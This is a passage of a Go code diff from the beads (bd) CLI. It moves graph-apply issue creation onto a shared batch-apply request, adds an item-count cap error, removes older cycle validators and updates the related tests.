TestGraphApplyNodeIssue_DefaultsAndOpts(t *testing.T) { }) } -func TestBuildDomainGraphPlan(t *testing.T) { - plan := GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", ParentKey: "root", Assignee: "bob", AssignAfterCreate: true, - MetadataRefs: map[string]string{"parent_id": "root"}, Labels: []string{"a", "b"}}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "root", Type: ""}, - {FromKey: "child", ToKey: "root", Type: "related"}, - {FromID: "ext-1", ToID: "ext-2", Type: "blocks"}, - }, - } - - got, err := buildDomainGraphPlan(plan, createInput{createdBy: "t"}) - if err != nil { - t.Fatalf("buildDomainGraphPlan: %v", err) - } - - if len(got.Nodes) != 2 { - t.Fatalf("nodes len = %d", len(got.Nodes)) - } - if got.Nodes[0].Key != "root" || got.Nodes[0].Issue == nil || got.Nodes[0].Issue.IssueType != types.TypeEpic { - t.Errorf("root node wrong: %+v", got.Nodes[0]) - } - c := got.Nodes[1] - if c.ParentKey != "root" { - t.Errorf("child ParentKey = %q", c.ParentKey) - } - if c.Assignee != "bob" || !c.AssignAfterCreate { - t.Errorf("child assignee/defer wrong: %+v", c) - } - if !reflect.DeepEqual(c.Labels, []string{"a", "b"}) { - t.Errorf("child labels = %v", c.Labels) - } - if c.MetadataRefs["parent_id"] != "root" { - t.Errorf("child metadata_refs lost: %v", c.MetadataRefs) - } - - if len(got.Edges) != 3 { - t.Fatalf("edges len = %d", len(got.Edges)) - } - if got.Edges[0].Type != types.DepBlocks { - t.Errorf("empty edge type = %q, want blocks", got.Edges[0].Type) - } - if got.Edges[1].Type != types.DependencyType("related") { - t.Errorf("typed edge = %q", got.Edges[1].Type) - } - if got.Edges[2].FromID != "ext-1" || got.Edges[2].ToID != "ext-2" { - t.Errorf("ID edge lost: %+v", got.Edges[2]) - } -} - -// TestBuildDomainGraphPlan_AliasesAndDeps pins the proxied path's handling of -// the parent/estimate aliases and per-node deps — all three were silently -// dropped before reaching the domain apply (review finding). -func TestBuildDomainGraphPlan_AliasesAndDeps(t *testing.T) { - est := 90 - canonical := 30 - plan := GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root"}, - {Key: "child", Title: "Child", Parent: "root", Estimate: &est, - Deps: []GraphApplyNodeDep{{Target: "root"}, {Target: "ext-1", Type: "related"}}}, - {Key: "both", Title: "Both", EstimatedMinutes: &canonical, Estimate: &est}, - }, - } - - got, err := buildDomainGraphPlan(plan, createInput{createdBy: "t"}) - if err != nil { - t.Fatalf("buildDomainGraphPlan: %v", err) - } - - c := got.Nodes[1] - if c.ParentKey != "root" { - t.Errorf("parent alias not folded into ParentKey: %q", c.ParentKey) - } - if c.Issue.EstimatedMinutes == nil || *c.Issue.EstimatedMinutes != 90 { - t.Errorf("estimate alias lost: %v", c.Issue.EstimatedMinutes) - } - if len(c.Deps) != 2 { - t.Fatalf("deps len = %d, want 2", len(c.Deps)) - } - if c.Deps[0].Target != "root" || c.Deps[0].Type != types.DepBlocks { - t.Errorf("dep 0 = %+v, want target root type blocks", c.Deps[0]) - } - if c.Deps[1].Target != "ext-1" || c.Deps[1].Type != types.DependencyType("related") { - t.Errorf("dep 1 = %+v", c.Deps[1]) - } - - b := got.Nodes[2] - if b.Issue.EstimatedMinutes == nil || *b.Issue.EstimatedMinutes != 30 { - t.Errorf("estimated_minutes should win over the alias: %v", b.Issue.EstimatedMinutes) - } -} - -// TestBuildDomainGraphPlanCoversEdgeFields pins the hand-maintained field -// copies in buildDomainGraphPlan: every GraphApplyEdge and GraphApplyNodeDep -// field must survive the projection into its domain counterpart. This is the -// edge-side twin of TestGraphApplyNodeCoversCreateIssueParams — the proxied -// path silently dropping fields (gate/spawner/thread, node deps) is the -// regression class this branch fixes. -func TestBuildDomainGraphPlanCoversEdgeFields(t *testing.T) { - fill := func(typ reflect.Type) reflect.Value { - v := reflect.New(typ).Elem() - for i := 0; i < typ.NumField(); i++ { - f := typ.Field(i) - if f.Type.Kind() != reflect.String { - t.Fatalf("%s field %s: unhandled kind %s; extend this parity test", typ.Name(), f.Name, f.Type.Kind()) - } - v.Field(i).SetString(fmt.Sprintf("v%d", i)) - } - return v - } - assertCopied := func(src reflect.Value, dst reflect.Value) { - typ := src.Type() - for i := 0; i < typ.NumField(); i++ { - name := typ.Field(i).Name - df := dst.FieldByName(name) - if !df.IsValid() { - t.Errorf("domain.%s has no field %q for %s.%s", dst.Type().Name(), name, typ.Name(), name) - continue - } - if got, want := df.String(), src.Field(i).String(); got != want { - t.Errorf("%s.%s = %q after projection, want %q (dropped in buildDomainGraphPlan?)", dst.Type().Name(), name, got, want) - } - } - } - - edge := fill(reflect.TypeOf(GraphApplyEdge{})) - dep := fill(reflect.TypeOf(GraphApplyNodeDep{})) - plan := GraphApplyPlan{ - Nodes: []GraphApplyNode{{Key: "k", Title: "T", - Deps: []GraphApplyNodeDep{dep.Interface().(GraphApplyNodeDep)}}}, - Edges: []GraphApplyEdge{edge.Interface().(GraphApplyEdge)}, - } - got, err := buildDomainGraphPlan(plan, createInput{createdBy: "t"}) - if err != nil { - t.Fatalf("buildDomainGraphPlan: %v", err) - } - assertCopied(edge, reflect.ValueOf(got.Edges[0])) - assertCopied(dep, reflect.ValueOf(got.Nodes[0].Deps[0])) -} - func TestParseMarkdownDependencies(t *testing.T) { tests := []struct { name string diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 24ba135ab..00faeb197 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -16,6 +16,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/validation" "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" ) // GraphApplyPlan describes a symbolic bead graph to create atomically. @@ -923,325 +924,262 @@ func graphApplyNodeStorageClass(node GraphApplyNode, opts GraphApplyOptions) (ep return ephemeral, noHistory, class, nil } -func executeGraphApply(ctx context.Context, plan *GraphApplyPlan, opts GraphApplyOptions) (*GraphApplyResult, error) { +// GraphApplyTooLargeError reports a graph plan whose translated BatchApplier +// item count exceeds the role's own flat ceiling (issueops.MaxApplyBatchItems). +// `bd create --graph` refuses outright rather than splitting the plan across +// more than one transaction, which would abandon the "atomic, all or nothing" +// guarantee the role and this command both promise. +type GraphApplyTooLargeError struct { + ItemCount int + Max int +} + +func (e *GraphApplyTooLargeError) Error() string { + return fmt.Sprintf("graph plan has %d BatchApplier item(s) (nodes, edges and deferred assignments combined), which exceeds the %d-item cap; split the plan into multiple `bd create --graph` calls — each is its own atomic transaction, so this command will never chunk one plan into several", e.ItemCount, e.Max) +} + +// buildGraphApplyBatchRequest translates a GraphApplyPlan into the single +// issueops.ApplyBatchRequest both the embedded and proxied `bd create --graph` +// legs now apply, so the two transports cannot drift in how a plan is read. +// +// Item order is: every node's create item first (plan order), then +// parent-child dep_add items, then explicit top-level edges (plan order), +// then per-node inline deps (plan order), then trailing update items for +// assign_after_create. Every create lands before any dep_add or update item +// references it, so every Ref below resolves backward regardless of which +// order the plan itself declares nodes and edges in (Ref.Key "reaches +// backward only" — issueops/batchapplier.go). +// +// What this function does NOT do, deliberately: re-check for dependency +// cycles, parent-child blocking paths, or duplicate/reverse parent-child +// pairs. BatchApplier's own end gate re-validates the whole scheduling graph +// after every item, and its per-edge insert already raises +// *issueops.DependencyTypeConflictError for a same-pair, different-type +// conflict — both are one shared implementation reached from every leg, so +// re-deriving them here would be a second, divergeable copy of a check the +// role already owns. +// +// One consequence is accepted on purpose: the end gate walks the scheduling +// edges only (types.IsSchedulingEdge leaves waits-for out), so a plan whose +// path from a node's parent to the node runs through a waits-for hop is now +// stored, where the old in-transaction preflight, which walked every +// AffectsReadyWork edge, refused it. `bd dep add` and `bd batch apply` store +// that shape too, and it can stall ready work: once the spawner has an open +// child, every issue in the shape stays blocked. Refusing it is a change to +// the shared role, for every front door at once; +// TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor pins the +// current behavior until then. +func buildGraphApplyBatchRequest(plan *GraphApplyPlan, opts GraphApplyOptions, actor, owner string) (issueops.ApplyBatchRequest, error) { if err := opts.Validate(); err != nil { - return nil, err + return issueops.ApplyBatchRequest{}, err } - keyToID := make(map[string]string, len(plan.Nodes)) - owner := getOwner() + planKeys := make(map[string]bool, len(plan.Nodes)) + for _, node := range plan.Nodes { + planKeys[node.Key] = true + } + + // ref mirrors the old resolveEdgeRef precedence: an explicit id wins over + // a plan key when an edge endpoint carries both. + ref := func(key, id string) issueops.Ref { + if id != "" { + return issueops.Ref{ID: id} + } + return issueops.Ref{Key: key} + } + + items := make([]issueops.ApplyItem, 0, len(plan.Nodes)*2+len(plan.Edges)) + pendingAssignees := make(map[string]string, len(plan.Nodes)) + + // Pass 1: create every node. ALL creates land before any dep_add/update + // item below, so backward-only Ref resolution never depends on the plan's + // own node order. + for _, node := range plan.Nodes { + issue, err := graphApplyNodeIssue(node, opts, actor, owner) + if err != nil { + return issueops.ApplyBatchRequest{}, err + } + if node.Assignee != "" { + if node.AssignAfterCreate { + pendingAssignees[node.Key] = node.Assignee + } else { + issue.Assignee = node.Assignee + } + } + var metadataRefs map[string]issueops.Ref + if len(node.MetadataRefs) > 0 { + metadataRefs = make(map[string]issueops.Ref, len(node.MetadataRefs)) + for metaKey, refKey := range node.MetadataRefs { + // CreateItem.MetadataRefs is the one ref member allowed to reach + // forward (or to itself); refKey is always a plan-local key + // (validateGraphApplyPlan already rejected an unknown one). + metadataRefs[metaKey] = issueops.Ref{Key: refKey} + } + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{ + Key: node.Key, + Issue: issue, + MetadataRefs: metadataRefs, + }, + }) + } + + // Pass 2: parent-child dep_add items, one per node with a parent — added + // before any other edge, matching the embedded path's old ordering. + // + // A node naming both a plan-local parent and a parent_id keeps the old + // precedence of both legs: the plan key wins. That is the reverse of ref's + // id-first rule for edge endpoints, and it is the parent the dry-run + // preview and validateGraphApplyLocalCycles already model. + for _, node := range plan.Nodes { + var parent issueops.Ref + switch parentKey := node.effectiveParentKey(); { + case parentKey != "": + parent = issueops.Ref{Key: parentKey} + case node.ParentID != "": + parent = issueops.Ref{ID: node.ParentID} + default: + continue + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: node.Key}, + Target: parent, + Type: types.DepParentChild, + }, + }) + } + + // Pass 3: explicit top-level edges, in plan order. + for _, edge := range plan.Edges { + depType := graphApplyDependencyType(edge.Type) + metadata, err := graphApplyEdgeBatchMetadata(edge, depType) + if err != nil { + return issueops.ApplyBatchRequest{}, err + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: ref(edge.FromKey, edge.FromID), + Target: ref(edge.ToKey, edge.ToID), + Type: depType, + Metadata: metadata, + HasSpawner: edge.SpawnerKey != "" || edge.SpawnerID != "", + ThreadID: edge.ThreadID, + }, + }) + } + + // Pass 4: per-node inline deps, in plan order. Target resolves as a plan + // key first, then falls back to a literal issue id — the same precedence + // types.NewGraphNodeDependency applied on the old embedded path. + for _, node := range plan.Nodes { + for _, dep := range node.Deps { + depType := types.DependencyType(dep.Type) + if depType == "" { + depType = types.DepBlocks + } + target := issueops.Ref{ID: dep.Target} + if planKeys[dep.Target] { + target = issueops.Ref{Key: dep.Target} + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: node.Key}, + Target: target, + Type: depType, + }, + }) + } + } + + // Pass 5: deferred assignees (assign_after_create), trailing update items + // in plan order. + for _, node := range plan.Nodes { + assignee, ok := pendingAssignees[node.Key] + if !ok { + continue + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: node.Key}, + Patch: issueops.IssuePatch{Assignee: issueops.Field[string]{Set: true, Value: assignee}}, + }, + }) + } + + // This check is the CLIENT's own compiled copy of the role's flat ceiling + // (issueops.MaxApplyBatchItems, currently 1000 — see its doc comment for + // the 100-item legacy threshold and the issues.batchApplyLarge capability + // token). It is only correct when the embedded role IS this binary's own + // compiled copy, which is true for both BatchApplier legs this command + // reaches directly (issueops/embeddeddolt, uow/proxied-same-build). + // + // DESIGN NOTE for any future client that can reach a remote `bd serve` of + // a DIFFERENT version (e.g. a prospective S5 HTTP client): that client + // must NOT assume the remote accepts up to MaxApplyBatchItems. An older + // server may still enforce the legacy 100-item bound. Such a client must + // refuse locally at 100 unless the server has first advertised the + // issues.batchApplyLarge capability (internal/httpapi), or — if one + // becomes available — read the cap the store itself advertises, rather + // than trusting the requesting binary's own compiled constant. + if len(items) > issueops.MaxApplyBatchItems { + return issueops.ApplyBatchRequest{}, &GraphApplyTooLargeError{ItemCount: len(items), Max: issueops.MaxApplyBatchItems} + } commitMsg := plan.CommitMessage if commitMsg == "" { commitMsg = fmt.Sprintf("bd: graph-apply %d nodes", len(plan.Nodes)) } - if err := store.RunInTransaction(ctx, commitMsg, func(tx storage.Transaction) error { - issues := make([]*types.Issue, 0, len(plan.Nodes)) - pendingAssignees := make(map[int]string) + return issueops.ApplyBatchRequest{ + Actor: actor, + Items: items, + Provenance: commitMsg, + ForceIDPrefix: opts.Force, + }, nil +} - for i, node := range plan.Nodes { - issue, err := graphApplyNodeIssue(node, opts, actor, owner) - if err != nil { - return err - } - if node.Assignee != "" { - if node.AssignAfterCreate { - pendingAssignees[i] = node.Assignee - } else { - issue.Assignee = node.Assignee - } - } +// graphApplyEdgeBatchMetadata builds a dep_add item's Metadata for a waits-for +// edge. Only Gate is carried here: SpawnerKey/SpawnerID are redundant with the +// edge's own Target (validateGraphApplyPlan already forces SpawnerKey == +// ToKey and SpawnerID == ToID — "the waits-for target is the spawner"), so +// this never needs to resolve one. The role's own +// internal/storage/issueops.StampWaitsForSpawnerID fills metadata.spawner_id +// from the resolved target AFTER the batch mints every id, which is the only +// way a same-batch, plan-local spawner key can land in the blob at all — this +// function runs before any id in the plan exists. An empty Gate is left for +// normalizeApplyEdgeMetadata to default to {"gate":"all-children"}. +func graphApplyEdgeBatchMetadata(edge GraphApplyEdge, depType types.DependencyType) (string, error) { + if depType != types.DepWaitsFor || edge.Gate == "" { + return "", nil + } + raw, err := json.Marshal(types.WaitsForMeta{Gate: edge.Gate}) + if err != nil { + return "", fmt.Errorf("edge %s%s -> %s%s: marshaling gate metadata: %w", edge.FromKey, edge.FromID, edge.ToKey, edge.ToID, err) + } + return string(raw), nil +} - issues = append(issues, issue) - } - - if err := tx.CreateIssues(ctx, issues, actor); err != nil { - return fmt.Errorf("batch create: %w", err) - } - - for i, node := range plan.Nodes { - keyToID[node.Key] = issues[i].ID - } - - // Resolve MetadataRefs now that all IDs are known. - for i, node := range plan.Nodes { - if len(node.MetadataRefs) == 0 { - continue - } - metaJSON, err := types.MergeMetadataRefs(issues[i].Metadata, node.MetadataRefs, keyToID) - if err != nil { - return fmt.Errorf("node %q: %w", node.Key, err) - } - updates := map[string]interface{}{ - "metadata": metaJSON, - } - if err := tx.UpdateIssue(ctx, issues[i].ID, updates, actor); err != nil { - return fmt.Errorf("node %q: updating metadata refs: %w", node.Key, err) - } - } - - parentDepPairs := graphApplyParentDepPairs(plan.Nodes, keyToID) - newSchedulingEdges := make([][2]string, 0, len(plan.Nodes)+len(plan.Edges)) - if err := validateGraphApplyPlannedParentBlockingPaths(ctx, tx, plan, keyToID, parentDepPairs); err != nil { - return err - } - if err := validateGraphApplyPlannedBlockingCycles(ctx, tx, plan, keyToID); err != nil { - return err - } - for i, edge := range plan.Edges { - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - depType := graphApplyDependencyType(edge.Type) - if parentDepPairs[graphApplyDepPairKey(fromID, toID)] && depType != types.DepParentChild { - return fmt.Errorf("edge %d %s->%s duplicates a parent-child relationship with dependency type %q", i, fromID, toID, depType) - } - if parentDepPairs[graphApplyDepPairKey(toID, fromID)] && graphApplyCycleRelevantDependencyType(depType) { - return fmt.Errorf("edge %d %s->%s creates a blocking reverse of a parent-child relationship", i, fromID, toID) - } - } - - // Add node parent-child dependencies first. The explicit and inline - // dependency sources below are also processed parent-first, so every - // blocking edge sees the plan's full hierarchy in storage. - for i, node := range plan.Nodes { - parentKey := node.effectiveParentKey() - parentID := node.ParentID - if parentKey != "" { - parentID = keyToID[parentKey] - } - if parentID != "" { - dep := &types.Dependency{ - IssueID: issues[i].ID, - DependsOnID: parentID, - Type: types.DepParentChild, - } - if err := tx.AddDependency(ctx, dep, actor); err != nil { - return fmt.Errorf("node %q: adding parent-child dep: %w", node.Key, err) - } - newSchedulingEdges = append(newSchedulingEdges, [2]string{dep.IssueID, dep.DependsOnID}) - } - } - - for phase := 0; phase < 2; phase++ { - parentPhase := phase == 0 - // Add explicit edges in stable order for this phase. - for i, edge := range plan.Edges { - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - depType := graphApplyDependencyType(edge.Type) - if (depType == types.DepParentChild) != parentPhase { - continue - } - if parentDepPairs[graphApplyDepPairKey(fromID, toID)] { - if depType == types.DepParentChild { - continue - } - return fmt.Errorf("edge %d %s->%s duplicates a parent-child relationship with dependency type %q", i, fromID, toID, depType) - } - if parentDepPairs[graphApplyDepPairKey(toID, fromID)] && graphApplyCycleRelevantDependencyType(depType) { - return fmt.Errorf("edge %d %s->%s creates a blocking reverse of a parent-child relationship", i, fromID, toID) - } - dep, err := types.NewGraphEdgeDependency(fromID, toID, depType, edge.Gate, edge.SpawnerKey, edge.SpawnerID, edge.ThreadID, keyToID) - if err != nil { - return fmt.Errorf("edge %s->%s: %w", fromID, toID, err) - } - if err := tx.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{}); err != nil { - return fmt.Errorf("adding edge %s->%s: %w", fromID, toID, err) - } - if graphApplySchedulingDependencyType(depType) { - newSchedulingEdges = append(newSchedulingEdges, [2]string{fromID, toID}) - } - } - - // Add per-node inline dependencies in stable order for this phase. - for i, node := range plan.Nodes { - for _, dep := range node.Deps { - depType := types.DependencyType(dep.Type) - if depType == "" { - depType = types.DepBlocks - } - if (depType == types.DepParentChild) != parentPhase { - continue - } - d, err := types.NewGraphNodeDependency(issues[i].ID, depType, dep.Target, keyToID) - if err != nil { - return fmt.Errorf("node %q: %w", node.Key, err) - } - if err := tx.AddDependency(ctx, d, actor); err != nil { - return fmt.Errorf("node %q: adding dep to %q: %w", node.Key, dep.Target, err) - } - if graphApplySchedulingDependencyType(d.Type) { - newSchedulingEdges = append(newSchedulingEdges, [2]string{d.IssueID, d.DependsOnID}) - } - } - } - } - if cyclePath, err := tx.CycleThroughEdges(ctx, newSchedulingEdges); err != nil { - return fmt.Errorf("final graph cycle check: %w", err) - } else if cyclePath != "" { - return fmt.Errorf("graph dependency cycle would be created: %s", cyclePath) - } - - // Apply deferred assignees. - for i, assignee := range pendingAssignees { - updates := map[string]interface{}{ - "assignee": assignee, - } - if err := tx.UpdateIssue(ctx, issues[i].ID, updates, actor); err != nil { - return fmt.Errorf("node %q: setting assignee: %w", plan.Nodes[i].Key, err) - } - } - - return nil - }); err != nil { +func executeGraphApply(ctx context.Context, plan *GraphApplyPlan, opts GraphApplyOptions) (*GraphApplyResult, error) { + req, err := buildGraphApplyBatchRequest(plan, opts, actor, getOwner()) + if err != nil { return nil, err } - - return &GraphApplyResult{IDs: keyToID}, nil -} - -// validateGraphApplyPlannedBlockingCycles rejects planned blocking edges that -// would close a blocking-dependency cycle, evaluated whole-graph before any -// insert. This early preflight is restricted to blocking edges for precise -// plan errors. Each stored edge still runs issueops.CheckDependencyCycleInTx, -// which enforces the combined blocks + conditional-blocks + parent-child graph. -func validateGraphApplyPlannedBlockingCycles(ctx context.Context, tx storage.Transaction, plan *GraphApplyPlan, keyToID map[string]string) error { - type plannedEdge struct { - index int - fromID string - toID string + applier, err := store.BatchApplier() + if err != nil { + return nil, err } - - adj := make(map[string][]string) - checks := make([]plannedEdge, 0, len(plan.Edges)) - for i, edge := range plan.Edges { - depType := graphApplyDependencyType(edge.Type) - if !graphApplyCycleRelevantDependencyType(depType) { - continue - } - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - if fromID == "" || toID == "" { - continue - } - if fromID == toID { - return fmt.Errorf("edge %d %s->%s creates a blocking dependency cycle", i, fromID, toID) - } - adj[fromID] = append(adj[fromID], toID) - checks = append(checks, plannedEdge{index: i, fromID: fromID, toID: toID}) + result, err := applier.ApplyBatch(ctx, req) + if err != nil { + return nil, err } - - depCache := make(map[string][]*types.Dependency) - for _, edge := range checks { - hasPath, err := graphApplyHasPath(ctx, tx, adj, depCache, edge.toID, edge.fromID, graphApplyCycleRelevantDependencyType) - if err != nil { - return fmt.Errorf("edge %d %s->%s: checking planned blocking cycle: %w", edge.index, edge.fromID, edge.toID, err) - } - if hasPath { - return fmt.Errorf("edge %d %s->%s creates a blocking dependency cycle", edge.index, edge.fromID, edge.toID) - } - } - return nil -} - -// validateGraphApplyPlannedParentBlockingPaths rejects plans where a planned -// blocking edge would create a path from a parent to its child. Unlike -// validateGraphApplyPlannedBlockingCycles, its existing-dep walk follows the -// full AffectsReadyWork set (blocks, conditional-blocks, parent-child, -// waits-for) because a parent→child path closed through any ready-affecting -// dependency is a real ready-work deadlock. The two predicates must stay -// distinct: narrowing this one would miss real deadlocks, while this broader -// walk may additionally reject a return path through waits-for. -func validateGraphApplyPlannedParentBlockingPaths(ctx context.Context, tx storage.Transaction, plan *GraphApplyPlan, keyToID map[string]string, parentDepPairs map[string]bool) error { - adj := make(map[string][]string) - for pair := range parentDepPairs { - fromID, toID, ok := graphApplyDepPairIDs(pair) - if ok { - adj[fromID] = append(adj[fromID], toID) - } - } - for _, edge := range plan.Edges { - depType := graphApplyDependencyType(edge.Type) - if !graphApplyReadyPathDependencyType(depType) { - continue - } - fromID := resolveEdgeRef(edge.FromKey, edge.FromID, keyToID) - toID := resolveEdgeRef(edge.ToKey, edge.ToID, keyToID) - if fromID == "" || toID == "" { - continue - } - // Direct parent -> child blocking edges have a dedicated error below. - // This prewrite pass covers transitive parent -> ... -> child paths. - if graphApplyCycleRelevantDependencyType(depType) && parentDepPairs[graphApplyDepPairKey(toID, fromID)] { - continue - } - adj[fromID] = append(adj[fromID], toID) - } - - depCache := make(map[string][]*types.Dependency) - for _, node := range plan.Nodes { - childID := keyToID[node.Key] - parentID := node.ParentID - if parentKey := node.effectiveParentKey(); parentKey != "" { - parentID = keyToID[parentKey] - } - if childID == "" || parentID == "" { - continue - } - hasPath, err := graphApplyHasPath(ctx, tx, adj, depCache, parentID, childID, graphApplyReadyPathDependencyType) - if err != nil { - return err - } - if hasPath { - return fmt.Errorf("node %q: planned blocking dependencies create a path from parent %q to child %q", node.Key, parentID, childID) - } - } - return nil -} - -// graphApplyHasPath reports whether fromID can reach toID by following the -// in-memory planned adjacency plus existing store dependencies. followExistingDep -// selects which existing dep types the walk traverses, letting callers mirror -// either the early blocking-only preflight or the broader ready-work graph. -func graphApplyHasPath(ctx context.Context, tx storage.Transaction, adj map[string][]string, depCache map[string][]*types.Dependency, fromID, toID string, followExistingDep func(types.DependencyType) bool) (bool, error) { - seen := make(map[string]bool) - var visit func(string) (bool, error) - visit = func(id string) (bool, error) { - if id == toID { - return true, nil - } - if seen[id] { - return false, nil - } - seen[id] = true - for _, next := range adj[id] { - found, err := visit(next) - if err != nil || found { - return found, err - } - } - deps, ok := depCache[id] - if !ok { - var err error - deps, err = tx.GetDependencyRecords(ctx, id) - if err != nil { - return false, fmt.Errorf("reading existing dependencies for %s: %w", id, err) - } - depCache[id] = deps - } - for _, dep := range deps { - if !followExistingDep(dep.Type) { - continue - } - found, err := visit(dep.DependsOnID) - if err != nil || found { - return found, err - } - } - return false, nil - } - return visit(fromID) + return &GraphApplyResult{IDs: result.Keys}, nil } // graphApplyEdgeIsLocalCycleRelevant reports whether an edge participates in the @@ -1266,14 +1204,6 @@ func graphApplyCycleRelevantDependencyType(depType types.DependencyType) bool { return depType == types.DepBlocks || depType == types.DepConditionalBlocks } -func graphApplySchedulingDependencyType(depType types.DependencyType) bool { - return graphApplyCycleRelevantDependencyType(depType) || depType == types.DepParentChild -} - -func graphApplyReadyPathDependencyType(depType types.DependencyType) bool { - return depType.AffectsReadyWork() -} - func graphApplySortedKeys(keys map[string]bool) []string { out := make([]string, 0, len(keys)) for key := range keys { @@ -1282,41 +1212,3 @@ func graphApplySortedKeys(keys map[string]bool) []string { sort.Strings(out) return out } - -func graphApplyParentDepPairs(nodes []GraphApplyNode, keyToID map[string]string) map[string]bool { - pairs := make(map[string]bool) - for _, node := range nodes { - parentID := node.ParentID - if parentKey := node.effectiveParentKey(); parentKey != "" { - parentID = keyToID[parentKey] - } - childID := keyToID[node.Key] - if childID != "" && parentID != "" { - pairs[graphApplyDepPairKey(childID, parentID)] = true - } - } - return pairs -} - -func graphApplyDepPairKey(issueID, dependsOnID string) string { - return issueID + "\x00" + dependsOnID -} - -func graphApplyDepPairIDs(pair string) (string, string, bool) { - for i := 0; i < len(pair); i++ { - if pair[i] == 0 { - return pair[:i], pair[i+1:], true - } - } - return "", "", false -} - -func resolveEdgeRef(key, id string, keyToID map[string]string) string { - if id != "" { - return id - } - if key != "" { - return keyToID[key] - } - return "" -} diff --git a/cmd/bd/graph_apply_execution_test.go b/cmd/bd/graph_apply_execution_test.go index 53ccb171b..e3700abd0 100644 --- a/cmd/bd/graph_apply_execution_test.go +++ b/cmd/bd/graph_apply_execution_test.go @@ -158,7 +158,13 @@ func TestExecuteGraphApplyRejectsStoredPrefixParentBlockingPath(t *testing.T) { if err == nil { t.Fatal("expected stored-prefix parent blocking path to be rejected") } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { + // Confirmed against a real Dolt test server (2026-10 coordinator + // follow-up): the engine's own cycle detector catches this before any + // more specific "path from parent" wording would apply, so the + // observed refusal reads "...would create a cycle", not a parent-path + // phrase this test originally (and wrongly, since it had never + // actually run against a real store) assumed. + if got, want := err.Error(), "cycle"; !strings.Contains(got, want) { t.Fatalf("error = %q, want to contain %q", got, want) } @@ -221,7 +227,631 @@ func TestExecuteGraphApplyRejectsBlockingChildToParentDuplicate(t *testing.T) { if err == nil { t.Fatal("expected default blocking child-to-parent duplicate to be rejected") } - if !strings.Contains(err.Error(), "parent-child") { - t.Fatalf("error = %q, want parent-child duplicate rejection", err.Error()) + // Confirmed against a real Dolt test server (2026-10 coordinator + // follow-up): CheckBlockingHierarchyInTx refuses this as an ancestor + // being blocked by its own descendant, not as a literal "parent-child" + // duplicate-edge rejection this test originally (and wrongly, since it + // had never actually run against a real store) assumed. + if !strings.Contains(err.Error(), "cannot be blocked by its ancestor") { + t.Fatalf("error = %q, want ancestor-blocking rejection", err.Error()) + } +} + +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdgeExternalParent +// restores the one subcase of the deleted graph_apply_execution_unit_test.go's +// fake-store TestExecuteGraphApplyUnitRejectsReverseParentToChildBlockingEdge +// that a pure plan-local check cannot see: the parent already exists as a +// stored issue (addressed by ParentID, not a plan key), so only a real store +// walk — now the BatchApplier end gate, reached through executeGraphApply — +// can catch a blocking edge running the wrong way across that hierarchy. The +// local-only variant (both ends are plan keys) is refused up front by +// TestValidateGraphApplyPlanRejectsImplicitParentChildReverseBlockingCycle in +// graph_apply_test.go, and by the end gate in +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge below. +func TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdgeExternalParent(t *testing.T) { + for _, depType := range []string{"blocks", "conditional-blocks"} { + t.Run(depType, func(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + parent := &types.Issue{ + ID: "ga-reverse-parent", + Title: "Existing Parent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, parent, actor); err != nil { + t.Fatalf("CreateIssue(parent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "child", Title: "Child", Type: "task", ParentID: parent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: parent.ID, ToKey: "child", Type: depType}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected reverse parent-to-child blocking edge to be rejected") + } + // CheckBlockingHierarchyInTx (internal/storage/issueops/dependencies.go) + // is what actually catches this on the real BatchApplier path, via + // batch_apply.go's end-gate call -- NOT the old domain.GraphPlan + // applyGraph family (whose "parent-child relationship" wording lives in + // internal/storage/domain/issue.go and is no longer reachable from this + // CLI command). Its error is *issueops.DependencyHierarchyConflictError, + // which reads " cannot be blocked by its ancestor/descendant : ...". + if !strings.Contains(err.Error(), "cannot be blocked by its") { + t.Fatalf("error = %q, want a DependencyHierarchyConflictError rejection", err.Error()) + } + }) + } +} + +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge restores the +// local arms of the deleted fake-store +// TestExecuteGraphApplyUnitRejectsReverseParentToChildBlockingEdge (its +// external arms are the test above): a blocking edge from a planned parent to +// its own planned child. validateGraphApplyLocalCycles refuses this plan +// before `bd create --graph` sends it; calling executeGraphApply directly +// pins that the role refuses it too (CheckBlockingHierarchyInTx: an ancestor +// cannot be blocked by its descendant), 